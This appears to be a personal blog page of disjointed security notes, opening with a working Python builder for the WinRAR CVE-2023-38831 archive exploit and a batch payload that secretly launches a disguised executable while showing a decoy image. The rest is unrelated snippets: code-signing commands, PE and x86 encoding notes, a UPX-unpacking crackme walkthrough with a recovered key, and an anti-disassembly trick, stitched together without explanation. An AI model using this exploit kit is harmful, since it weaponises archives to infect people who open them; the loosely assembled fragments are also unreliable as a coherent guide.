Paul C's Blog

import os
import zipfile
import shutil

TempFile = "result"

def main():
    print("cve-2023-38831.py by Garck3h,modified by Paul\n")
    args = os.sys.argv[1:]  # Get command-line arguments
    argLen = len(args)

    if argLen > 2:
        TypeFile = os.path.basename(args[0])  # Extract file type
        Payload = os.path.basename(args[1])   # Extract payload file
        file_extension = os.path.splitext(Payload)[1]
        OuputFile = os.path.basename(args[2])  # Extract output file
    else:
        print("Usage:\n    python cve-2023-38831.py <TypeFile> <Payload> <OuputFile>")
        os.sys.exit(1)

    print("TypeFile:", TypeFile)
    print("Payload:", Payload)
    print("OuputFile:", OuputFile)



    try:
        os.mkdir(TempFile)  # Create temporary directory
    except Exception as e:
        print(e)
        os.sys.exit(1)

    d = os.path.join(TempFile, TypeFile + "A")
    try:
        os.mkdir(d, 0o755)  # Create subdirectory under temporary directory
    except Exception as e:
        print(e)
        os.sys.exit(1)

    try:
        shutil.copy(Payload, os.path.join(d, TypeFile + "A"+file_extension))  # Copy payload file to TypeFileA.cmd
    except Exception as e:
        print(e)
        os.sys.exit(1)

    try:
        shutil.copy(TypeFile, os.path.join(TempFile, TypeFile + "B"))  # Copy file type file to TypeFileB
    except Exception as e:
        print(e)
        os.sys.exit(1)

    try:
        zip_directory(TempFile)  # Zip the temporary directory
    except Exception as e:
        print(e)
        os.sys.exit(1)

    try:
        with open(TempFile + ".zip", "rb") as file:
            file_content = file.read()  # Read the compressed file content
    except Exception as e:
        print(e)
        os.sys.exit(1)

    bait_ext = "." + TypeFile.split(".")[1]  # Extract file extension
    file_content = bytes_replace(file_content, bait_ext.encode() + b"A", bait_ext.encode() + b" ")  # Replace "TypeFileA" with "TypeFile "
    file_content = bytes_replace(file_content, bait_ext.encode() + b"B", bait_ext.encode() + b" ")  # Replace "TypeFileB" with "TypeFile "

    try:
        os.remove(TempFile + ".zip")  # Delete temporary zip file
    except Exception as e:
        print(e)
        os.sys.exit(1)

    try:
        print("Changing suffix..")
        with open(OuputFile, "wb") as file:
            file.write(file_content)  # Write modified content to output file
    except Exception as e:
        print(e)
        os.sys.exit(1)
    try:
        shutil.rmtree(TempFile)  # Delete temporary directory
    except Exception as e:
        print(e)
        os.sys.exit(1)
    print("Generation completed")

def copy_file(src, dst):
    with open(src, "rb") as in_file, open(dst, "wb") as out_file:
        out_file.write(in_file.read())

def zip_directory(dir_name):
    with zipfile.ZipFile(TempFile + ".zip", "w", zipfile.ZIP_DEFLATED) as zip_file:
        for root, _, files in os.walk(dir_name):
            for file in files:
                file_path = os.path.join(root, file)
                arcname = os.path.relpath(file_path, dir_name)
                zip_file.write(file_path, arcname=arcname)

def bytes_replace(source, old, new):
    return source.replace(old, new)

if __name__ == "__main__":
    main()

@echo off
if not DEFINED IS_MINIMIZED (
  set IS_MINIMIZED=1
  start "" /min "%~dpnx0" %*
  exit
)

cd %TEMP%

for /F "delims=" %%K in ('dir /b /s "Screenshot_05-04-2023.jpg"') do (
  for /F "delims=" %%G in ('dir /b /s "Images.ico"') do (
    WMIC process call create "%%~G"
    "%%~K"
    cd %CD%
    exit
  )
)
exit

makecert -r -$ "individual" /sv "test.PVK" -n "CN=GS,O=GS,C=China,S=Guangzhou" -a md5 -b 08/18/2023 -e 08/18/2033 test.cer

certmgr.exe -add -c test.cer -s -r localMachine root

cert2spc test.cer test.spc

d:\test>signtool sign /debug /v /a /sm /ac test.cer /fd sha256  test.exe

The following certificates were considered:
    Issued to: GS
    Issued by: GS
    Expires:   Tue Jan 01 00:00:00 2030
    SHA1 hash: EE0FBF8360FF3E8592A0CA55096760CBB9D3E835

After EKU filter, 1 certs were left.
After expiry filter, 1 certs were left.
After Private Key filter, 0 certs were left.
SignTool Error: No certificates were found that met all the given criteria.

d:\test>signtool sign /debug /v /sm /fd sha256  test.exe

The following certificates were considered:
    Issued to: NVIDIA GameStream Server
    Issued by: NVIDIA GameStream Server
    Expires:   Fri Jun 26 16:03:20 2043
    SHA1 hash: 387B08818D2E0BC8BFA623DC033AF906246F4BEA

After EKU filter, 1 certs were left.
After expiry filter, 1 certs were left.
After Private Key filter, 1 certs were left.
The following certificate was selected:
    Issued to: NVIDIA GameStream Server
    Issued by: NVIDIA GameStream Server
    Expires:   Fri Jun 26 16:03:20 2043
    SHA1 hash: 387B08818D2E0BC8BFA623DC033AF906246F4BEA

Done Adding Additional Store
Successfully signed: test.exe

Number of files successfully Signed: 1
Number of warnings: 0
Number of errors: 0

signtool remove /s test.exe

struct COFFHeader {
	char signature[4];
	MachineType machine;
	u16 numberOfSections;
	u32 timeDateStamp;
	u32 pointerToSymbolTable;
	u32 numberOfSymbols;
	u16 sizeOfOptionalHeader;
	Characteristics characteristics;

	if (sizeOfOptionalHeader > 0x00) {
		OptionalHeader optionalHeader;
	}
};

struct OptionalHeader{
	DataDirectory directories[numberOfRVAsAndSizes];	
}
struct DataDirectory {
	u32 rva;
	u32 size;
};

dd if=./test.exe of=./test02Pkcs7Data.bin skip=9216 bs=1 count=1298

https://cdn-file-ssl.ludashi.com/downloader/temp_package/2023-08/asn1dump(%E6%96%87%E4%BB%B6%E7%BC%96%E7%A0%81%E6%A0%BC%E5%BC%8F%E6%9F%A5%E7%9C%8B%E5%B7%A5%E5%85%B7)_3715450019.exe

https://dl002.liqucn.com/upload/2021/1518/a/asn1view.zip

00F1B018  DE 1C 22 27 1D AE AD 65 AD EF 6E 41 4C 34 75 F1  ?"'enAL4u?
00F1B028  16 50 50 D4 48 69 6D 93 36 1C 86 3B BB D0 4C 91  PP訦im??恍L?

DE1C22271DAEAD65ADEF6E414C3475F1165050D448696D93361C863BBBD04C91

start address;size;Attributes(RWE);State;Type;

88 11 BL(011) CL(001)     88 D9 MOV CL, BL               MR   
8A 11 011 001             8A D9 MOV BL(011),CL(001)      R<--M

0F 58 01  addps xmm0,xmmword ptr[ecx] //从内存位置ecx处取128位单精度浮点数值加到xmm0 寄存器中的128位单精度浮点数上

编码mov eax(000)，ebx(011)
89H       11        011    000  89 D8                MR
8BH       11        000    011  8B C3                RM
//x86把源和目的操作数隐藏在opcode里面

mov eax，[0x1]可以编码为以下形式：
a）采用moffs32编码
   opcode moffs32
   A1    01 00 00 00
   A1    40H
b）采用MODR/M引导的disp
  opcode   mod   reg   r/m  displacement
  8B       00    000   101  01 00 00 00H
  8B       05H              01 00 00 00H
c）采用SIB引导的disp
  opcode   mod   reg   r/m  scale    index  base   displacement
  8B       00    000   100    01     100    101  01 00 00 00H
  8B       04H                65H                01 00 00 00H

$ file g0Re               
g0Re: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), statically linked, no section header

readelf -hlS --w g0Re

readelf: Warning: Section 49 has an out of range sh_link value of 2302008908
Section Headers:
  [Nr] Name              Type            Address          Off    Size   ES Flg Lk Inf Al
  [ 0] <no-strings>      00010102: <unknown> 00000001003e0002 481cb0 000040 400003      0   0 15762873573703680
readelf: Warning: [ 1]: Link field (533963) should index a symtab section.
readelf: Warning: [ 3]: Unexpected value (1482181455) in info field.

┌──(kali㉿kali)-[~/idawork]
└─$ strings -a  -tx g0Re|grep -E '\s{4,30}'
     ec OKXX$
    13e FN{o
    1e6 r mL
    284 dRe6eYPgXygMd
    295 fSCPpMP/C9DU36D2kliiYS5D9wKG/E_p
    2b9 XkJb3WwcGMbUPd63r/bG8gVDS6EsZ5vv
  81e18 $Info: This file is packed with the                                           
  81e67 $Id:  

1、在倒数第36字节偏移处检查，如果特征值不符就会转入throwNotPacked()异常抛出函数，打印not packed by UPX；
2、".ELF"魔数前36字节处，如果这里的特征值不符就会转入throwCantUnpack()异常抛出函数，打印l_info corrupted；
3、 在倒数第46字节偏移处检查，如果特征值不符就会转入throwCompressedDataViolation()异常抛出函数，打印Exception: compressed data violation；

┌──(kali㉿kali)-[~/idawork]
└─$ upx -d g0Re_upx 
                       Ultimate Packer for eXecutables
                          Copyright (C) 1996 - 2020
UPX 3.96        Markus Oberhumer, Laszlo Molnar & John Reiser   Jan 23rd 2020

        File size         Ratio      Format      Name
   --------------------   ------   -----------   -----------
   1331200 <-    534092   40.12%   linux/amd64   g0Re_upx

Unpacked 1 file.

_int64 __usercall sub_48CD80@<rax>(__int64 i%16@<rdi>, __int64 key[i%16]@<rsi>, __int64 a3@<r14>, __int128 a4@<xmm15>)

动态调试获取密钥：wvgitbygwbk2b46d

strings -tx g0Re_upx|grep -E '[A-Z]{10,64}' 
12c040 456789}#IJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123ABCDEFGH

foo proc near
	inc  dword ptr[esp];
	retn
endp
//错误的反汇编
E8 F7 FF FF FF call foo
05 89 45 F8 90 add eax,90F84589h

//正确的反汇编
E8 F7 FF FF FF call foo
05 				db  5
89 45 F8 		mov [ebp-8],eax
90 				nop

┌──(kali㉿kali)-[~/idawork]
└─$ ldd linux_server64 
        linux-vdso.so.1 (0x00007fff323bf000)
        libdl.so.2 => /lib/x86_64-linux-gnu/libdl.so.2 (0x00007fbfef767000)
        libthread_db.so.1 => /lib/x86_64-linux-gnu/libthread_db.so.1 (0x00007fbfef75c000)
        librt.so.1 => /lib/x86_64-linux-gnu/librt.so.1 (0x00007fbfef751000)
        libpthread.so.0 => /lib/x86_64-linux-gnu/libpthread.so.0 (0x00007fbfef730000)
        libstdc++.so.6 => /lib/x86_64-linux-gnu/libstdc++.so.6 (0x00007fbfef515000)
        libm.so.6 => /lib/x86_64-linux-gnu/libm.so.6 (0x00007fbfef3d2000)
        libc.so.6 => /lib/x86_64-linux-gnu/libc.so.6 (0x00007fbfef1f6000)
        /lib64/ld-linux-x86-64.so.2 (0x00007fbfef782000)
        libgcc_s.so.1 => /lib/x86_64-linux-gnu/libgcc_s.so.1 (0x00007fbfef1d6000)